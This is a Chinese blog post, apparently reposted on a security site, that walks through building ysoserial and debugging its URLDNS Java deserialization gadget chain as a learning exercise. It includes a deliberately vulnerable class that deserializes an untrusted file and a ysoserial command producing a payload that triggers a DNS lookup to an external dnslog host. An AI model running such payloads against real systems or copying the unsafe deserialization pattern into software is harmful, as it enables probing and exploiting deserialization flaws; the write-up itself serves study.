《URLDNS调试那些小事》

admin 2025年2月26日13:54:31评论1 views字数 2017阅读6分43秒阅读模式

《URLDNS调试那些小事》

URLDNS调试那些小事
近期在看javaweb相关的知识,ysoserial作为反序列化利用链的神器,想稍微利用它来调试一个简单的urldns利用链,进而了解这个工具。

ysoserial链接:

下载地址: https://github.com/frohoff/ysoserial
这里用jdk1.8来编译

01

编译ysoserial

用JIdea打开导入,会自动导入依赖,导入以后可能还会出现pom.xml红色表示找不到对应依赖的情况,这时可以进入依赖文件夹,可能是用于多个版本jar下载到了其他版本,删除版本然后,再重下载即可(俺在这里卡了好久)。

下载好后进入GeneratePayload这个类

进行run,若出现报错可能对应的jar包的版本不对,删除jar包重新下载。

若运行成功后

《URLDNS调试那些小事》

按下蓝色小闪电,然后package进行编译打包。

target目录下会显示编译好的jar包。

02

漏洞搭建

建立maven项目:

import java.io.FileInputStream;import java.io.ObjectInputStream;public class bug {    public static void main(String[] args) throws Exception {        FileInputStream inputStream = new FileInputStream("poc.ser");        ObjectInputStream oi = new ObjectInputStream(inputStream);        oi.readObject();        oi.close();        System.out.println("反序列化完成");    }}

ps:漏洞环境不太准确,只是把序列化文件读进去,然后进行反序列化而已。

生成恶意poc:

http://dnslog.cn/

获得临时域名:

0dt3fc.dnslog.cnava -jar .ysoserial-0.0.5-all.jar URLDNS "http://0dt3fc.dnslog.cn" > poc.ser

将poc.ser放在漏洞项目根目录运行即可。

《URLDNS调试那些小事》

注:这里有一个坑点,要是以powershell去生成poc文件会执行报错,需cmd,可参考:

https://gitter.im/frohoff/ysoserial/archives/2017/09/18

03

调试

大致原理是java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求,常用作无回显情况下验证java反序列漏洞的情况(俺没碰见过,可能是太菜了,或者运气不好哦)。

在URLDNS.java下,作者写了如下利用链:

 *   Gadget Chain: *     HashMap.readObject() *       HashMap.putVal() *         HashMap.hash() *           URL.hashCode() *

在刚开始会new  HashMap(),

《URLDNS调试那些小事》

接下来会调用会调用putVal方法,putVal作用在于HashMap放入键值,这里调用了hash方法来处理key

《URLDNS调试那些小事》

值得关注key.hashCode()方法,

《URLDNS调试那些小事》

当hashcode==-1时会执行hashCode = handler.hashCode(this);(默认值为-1所以这里不用太在意)

这里调用getHostAddress

《URLDNS调试那些小事》

他会进行dns的查询。

然后就是一些细节:

在Hashmap的readObject

《URLDNS调试那些小事》

key是从readObject得到的,说明key应该在writeObject被写入了。

WriteObject最后会调用到internalWriteEntries(s)。

《URLDNS调试那些小事》

从中可看出,key和value都来自table,即HashMap中table的值。

要修改table一般会调用HashMap的put方法,从而调用putVal,这样就会造成dns请求,会和目标机器的混淆。

《URLDNS调试那些小事》

这里ysoserial 继承抽象类SilentURLStreamHandler类,重写了openConnection和getHostAddress,

可以直接返回NULL,不会有后续的操作,从而不会dns请求。

知道这些我们也可以通过反射来将poc再写一遍,网上大佬们写的很完善了,俺就不班门弄斧了。

参考链接

[1]    https://www.yuque.com/pmiaowu/gpy1q8/ygthda

[2]    https://baijiahao.baidu.com/s?id=1711619506108128533&wfr=spider&for=pc

[3]    https://xz.aliyun.com/t/7157?page=5

原文始发于微信公众号(RainSec):《URLDNS调试那些小事》

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月26日13:54:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   《URLDNS调试那些小事》https://cn-sec.com/archives/901777.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息